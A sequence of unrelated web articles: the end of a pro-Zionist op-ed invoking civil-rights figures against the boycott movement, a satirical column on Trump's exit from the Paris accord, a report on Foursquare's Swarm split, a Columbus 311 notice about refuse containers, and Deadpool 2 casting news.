• You do not get to champion a system wherein Jews are barred from purchasing land, traveling in certain areas, and living out such an existence merely because they are Jews—and claim that you are promoting equality for all. You do not get to enable that system by pushing a boycott of Jewish owned businesses, shops, and entities—and then claim that you are “against apartheid.” That is evil.
• You do not get to justify the calculated and deliberate bombings, beatings, and lynchings of Jewish men, women, and children by referring to such heinous occurrences as part of a noble “uprising” of the oppressed—that is racism. It is evil.
• You do not get to pretend as though you and Rosa Parks would have been great buddies in the 1960s. Rosa Parks was a real Freedom Fighter. Rosa Parks was a Zionist.
Coretta Scott King was a Zionist.
A. Phillip Randolph was a Zionist.
Bayard Rustin was a Zionist.
Count Basie was a Zionist.
Dr. Martin Luther King Sr. was a Zionist.
Dr. Martin Luther King Jr. was a Zionist.
Indeed, they and many more men and women signed a letter in 1975 that stated: “We condemn the anti-Jewish blacklist. We have fought too long and too hard to root out discrimination from our land to sit idly while foreign interests import bigotry to America. Having suffered so greatly from such prejudice, we consider most repugnant the efforts by Arab states to use the economic power of their newly-acquired oil wealth to boycott business firms that deal with Israel or that have Jewish owners, directors, or executives, and to impose anti-Jewish preconditions for investments in this country.”
You see, my people have always been Zionists because my people have always stood for the freedom of the oppressed. So, you most certainly do not get to culturally appropriate my people’s history for your own. You do not have the right to invoke my people’s struggle for your shoddy purposes and you do not get to feign victimhood in our name. You do not have the right to slander my people’s good name and link your cause to that of Dr. King’s. Our two causes are diametrically opposed to each other.
Your cause is the antithesis of freedom. It has cost hundreds of thousands of lives of both Arabs and Jews. It has separated these peoples, and has fomented animosity between them. It has led to heartache, torment, death and destruction.
It is of course your prerogative to continue to utilize platitudes for your cause. You are entirely within your rights to chant words like “equality” “justice” and “freedom fighter.”
You can keep using those words for as long as you like. But I do not think you know what they mean.
***
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Chloé Simone Valdary is a Shilman Fellow at Jerusalem U, a digital media company based in Jerusalem. |
After a week of Donald Trump’s diplomacy, one thing is impressively clear: the US is not Montenegro. It won’t get pushed around by some bigger leader who wants to get ahead of the rest of the pack.
Trump wants to shut out the world. Ditching the Paris deal proves it | Simon Jenkins Read more
It won’t lead from behind when there are deals to be done, or undone, and redone. If there’s an international agreement on trade, security or climate change – especially one negotiated by a president not called Trump – then you know that agreement is living on borrowed time. Much like the planet itself.
No, the US is not Montenegro. It won’t accept a deal that involves some kind of trade-off or negotiation. The US shouldn’t have to pay billions for a climate change deal when it can pay trillions in sea defenses for no climate change deal. That’s the kind of long-range thinking you can expect from President Trump.
“At what point does America get demeaned?” he asked his rapt audience in the Rose Garden on Thursday, as his unusually golden comb-over glinted in the afternoon sun. “At what point do they start laughing at us as a country? … We don’t want other leaders and other countries laughing at us any more. And they won’t be. They won’t be.”
No they won’t. They won’t dare to laugh at an American president who takes a motorized golf cart through the streets of Sicily while his fellow leaders walk like pedestrians. They won’t laugh at a president whose handshake is a form of mortal combat where only one hand survives with its dignity intact. They won’t laugh at a president who thinks that saving the world is just another way to destroy the US.
Trump knows that this world is a zero sum game where the US is losing if someone else is winning. Nothing is shared on land, sea or air. Even the sea and the air themselves.
“This agreement is less about the climate and more about other countries gaining a financial advantage over the United States,” Trump explained. “The rest of the world applauded when we signed the Paris agreement – they went wild, they were so happy – for the simple reason that it put our country, the United States of America, which we all love, at a very, very big economic disadvantage.”
This is the kind of insight unique to business moguls and global statesmen. Especially business moguls who become global statesmen. The first sign that your deal sucks is when the rest of the world is happy because human civilization might possibly be saved.
“A cynic would say the obvious reason for economic competitors and their wish to see us remain in the agreement is so that we continue to suffer this self-inflicted major economic wound,” said our totally non-cynical president.
Nobody in the world knows more about self-inflicted major economic wounds than Donald Trump. This is his specialist subject. Even China and Europe know how much he has mastered this topic, as they prepare to dominate clean energy science and technologies.
Granted, there is the special relationship to consider: those ancient ties between Great Britain and the United States that mean the Brits are the Olympic athletes of self-inflicted major economic wounds.
Perhaps that’s why Trump’s Rose Garden speech sounded so much like Theresa May’s negotiating position on Brexit: that no deal is better than a bad deal. “So we’re getting out,” Trump explained. “But we will start to negotiate, and we will see if we can make a deal that’s fair. And if we can, that’s great. And if we can’t, that’s fine.”
As Samuel Johnson said about second marriages, this sounds like a triumph of hope over experience. And Donald Trump knows a lot about second marriages.
No, the US is not Montenegro. It won’t get its hand squeezed to death by that annoyingly fresh-faced French president who keeps inviting American scientists to move to France. Emmanuel Macron promised that he would never turn his back on Americans, even if America was turning its back on the world. This from a man who literally turned his back on Donald Trump.
Emmanuel Macron (@EmmanuelMacron) Ce soir, les Etats-Unis ont tourné le dos au monde. Mais la France ne tournera pas le dos aux Américains.
“Make our planet great again!” Macron tweeted, in a brazen attempt to steal one of Trump’s favorite phrases. Next thing you know, he’ll be stealing all the other Trump-invented phrases like “prime the pump”.
France and Germany can lead Europe if they want. China can lead Asia and Africa if it wants. But the US leads the world in seeing the Paris accord for what it is: a last-ditch global effort to destroy Trump’s coal-mining votes in West Virginia.
What the world doesn’t realize is that Trump has torn up the Paris accord because he loves the environment so much. Not because he loves it so little. Trump carries an Amazon rainforest of concern about the climate: that’s what makes him so very upset about Paris.
“Not only does this deal subject our citizens to harsh economic restrictions, it fails to live up to our environmental ideals,” he explained. “The United States, under the Trump administration, will continue to be the cleanest and most environmentally friendly country on Earth. We’ll be the cleanest. We’re going to have the cleanest air. We’re going to have the cleanest water.”
See? This is good news, not fake news. Trump’s US will be the cleanest and friendliest and most idealistic about the environment, because Trump says he is “someone who cares deeply about the environment”.
“I was elected to represent the citizens of Pittsburgh, not Paris,” Trump told the world. Never mind that the good folks of Pittsburgh are citizens of the United States. Never mind that the Paris accord does more than represent those fascinating old ladies of the 16th arrondissement.
So get over it, Montenegro. Join the back of the line. And take the Chinese and the French and the Germans with you.
Trump has got Syria and Nicaragua in his corner, and that’s all he needs to lead. |
The Foursquare check-in officially is no more. The newly revamped Foursquare is now a Yelp-like local discovery app, while check-ins have been relegated to Swarm.
But the transition to Swarm, which first launched in May, has not been an easy one for Foursquare's base.
For his part, Foursquare CEO Dennis Crowley is confident the new Foursquare-Swarm combination is the right model for the now five-year-old company that pioneered the check-in.
"In the first two quarters of this year, we'll make more money than we did all of last year," Crowley predicted at a ReadWriteWeb event in San Francisco last month.
While it's too early to tell whether the app will succeed financially, many longtime users are struggling to understand how to use the app, which basically invented the check-in, without the check-in. Crowley has explained the move by saying that most people only use Foursquare exclusively for checking in or exclusively for discovery; few do both.
Brian Blau, research director and consumer technologist at Gartner, says he thinks shifting away from the check-in was a smart move, but acknowledges that the company is moving into a space that is already very crowded.
"I think they’re going to have a difficult time," Blau, told Mashable. "There’s a lot of app companies today that understand there’s a good opportunity with local businesses and helping those businesses connect with their customers through mobile apps. There a lot of businesses that are vying for it."
Foursquare says it plans to bring some of Foursquare's "game" features to Swarm but it might not be enough to convince those loyal to the original. Image: Foursquare
While any new app experiences growing pains, Swarm has been available for nearly two months and the experience between the two apps is far from seamless. Updates have fixed some of the bugs and crashes, but the app still feels haphazard and disjointed. Venues are still difficult to find, tips still only live in the original Foursquare app and, anecdotally, I have yet to see one of my 50-plus friends use the Plans feature.
Foursquare does say it will be making changes to Swarm that emulate some of the features that made Foursquare popular, including some game mechanics such as new stickers that will be similar to badges in the old app, and a new version of mayorships. Foursquare could still fix Swarm's problems, but it may be too little, too late. The company has failed to persuade many people why they should use two apps to get the same experience they used to get with one.
Foursquare executives say it's only a small — though admittedly loud — percentage of users that don't like Swarm, but App Store rankings and user reviews suggest otherwise.
I loved using @foursquare but I do not understand the point of @swarmapp why on earth do you need 2 apps. Bring back the original! — Hannah (@hansyhobs) July 23, 2014
Data from App Annie shows that after debuting in the top 100 apps in the App Store, Swarm quickly plummeted before recovering slightly to the 367th position it currently occupies.
While its rankings are not as abysmal as when it first launched (the app at one point sunk to No. 1,494), with an average App Store rating of 1.5, Swarm can hardly be accused of winning over users. Its Google Play rating is slightly better, 3.6 as of this writing, though reviews for the current version of the app are overwhelmingly one- and two-star negative reviews.
Swarm immediately plummeted in App Store rankings after its launch, and although downloads recovered somewhat, it still ranks far below the Top 100 apps. Image: App Annie
It's not just Swarm that's unpopular — ratings for the flagship app have also dipped in Apple's App Store and Google Play, and the most recent reviews are filled with disappointed users questioning why Foursquare did away with the check-in.
Also, why did #Foursquare create a separate app for check-ins? I thought check-ins were the whole point of Foursquare. #Swarm — Kristi (@kristisan) July 23, 2014
David Weekly, a product manager at Facebook who worked on another unbundled app called Messenger, summed up user frustration in a post on Medium titled, "Dear Foursquare: A Breakup Letter."
"You were a hallmark of good mobile design; an app that used my context to allow me to do something novel, useful and simple," Weekly wrote. "But now, now you’ve failed at everything you were once good at. You didn’t stay true to your roots ... That would be fine if Swarm had been brilliantly conceived, svelte in aesthetic and incredibly robust ... But then Swarm sucked." |
WELCOME to the new 311 website.
If you would like to learn more about the new features, click here. Starting Monday August 27, 2018 through mid-December 2018, the Refuse Division will be notifying affected residents about replacing 300 gallon containers with 90 gallon containers. A notice with details about this transition is being mailed to residents in affected areas prior to new 90 containers being delivered. Following is the conversion schedule: August thru Mid-September- boundaries of Sullivant Ave to Rosedale Ave and S. Hague to Demorest Rd.
October - boundaries of Astor Ave to Livingston Ave and James Rd to Kenwick Rd.
November thru Mid-December – boundaries of 17th Ave to Windsor Ave and Cleveland Ave to the Railroad Tracks.
The City of Columbus Service Center provides a way for you, the resident, to submit a request for City Services. The Service Center is the single point of contact for requesting all non-emergency City services and is available to residents, City businesses, and visitors.
The Columbus Service Center is also known as "3-1-1"; its mission is to provide access to City services and City information with the highest possible levels of customer service. The "3-1-1" initiative strives to help City agencies provide efficient service delivery by allowing them to focus on their core missions, manage workloads efficiently, provide insight into the needs of residents, and measure how well services are delivered. |
Breaking: Josh Brolin will play Cable in Deadpool 2!
After a long casting process that saw names like Brad Pitt, Michael Shannon, Russell Crowe, David Harbour and Kyle Chandler tossed about, The Hollywood Reporter has confirmed that Josh Brolin (No Country for Old Men, Old Boy) has been cast as Cable in 20th Century Fox‘s Deadpool 2! The deal is said to be for four films, which could potentially include Deadpool 3 as well as the planned X-Force movie.
UPDATE: Ryan Reynolds has taken to Twitter with a special message:
“The f–k, Fox!” the star writes. “You can’t play 2 characters in the same universe!! Josh Brolin was in Sicario and I was in Sabrina The Teenage Witch.”
So there you have it: Sicario and Sabrina the Teenage Witch take place in the same cinematic universe! You can also see the art that Reynolds share in the gallery viewer below.
This will not be the 49-year-old Brolin’s first comic book rodeo, having appeared in Jonah Hex, Sin City: A Dame to Kill For, Men in Black 3, and as Thanos within the Marvel Cinematic Universe.
We recently talked to screenwriter Rhett Reese, who gave us a taste of what the relationship between Cable and the Merc with a Mouth will be like in the upcoming sequel. “Ryan plays Deadpool with a hint of femininity, and I think that can be funny opposite a Cable who’s über-masculine,” Reese told us. “That’ll come into casting and performance and the character design and his wardrobe and things like that too. I think we’ll definitely play into that.”
Deadpool 2 is set to introduce two key characters from the X-Force world, including Zazie Beetz (Atlanta) as Domino, a luck-manipulating mutant, and Cable, the time-traveling son of the X-Men’s Cyclops. It’s also been confirmed that both an X-Force movie and a Deadpool 3 are being planned as separate follow-ups to Deadpool 2.
John Wick‘s David Leitch is directing Deadpool 2 from a screenplay by the returning “real heroes here,” screenwriters Reese and Paul Wernick. Reynolds is again serving as a producer on Deadpool 2 alongside X-Men franchise caretakers Simon Kinberg and Lauren Shuler Donner.
Will Josh Brolin make a cool Cable? Let us know in the comments below!
(Photo Credit: Getty Images) |
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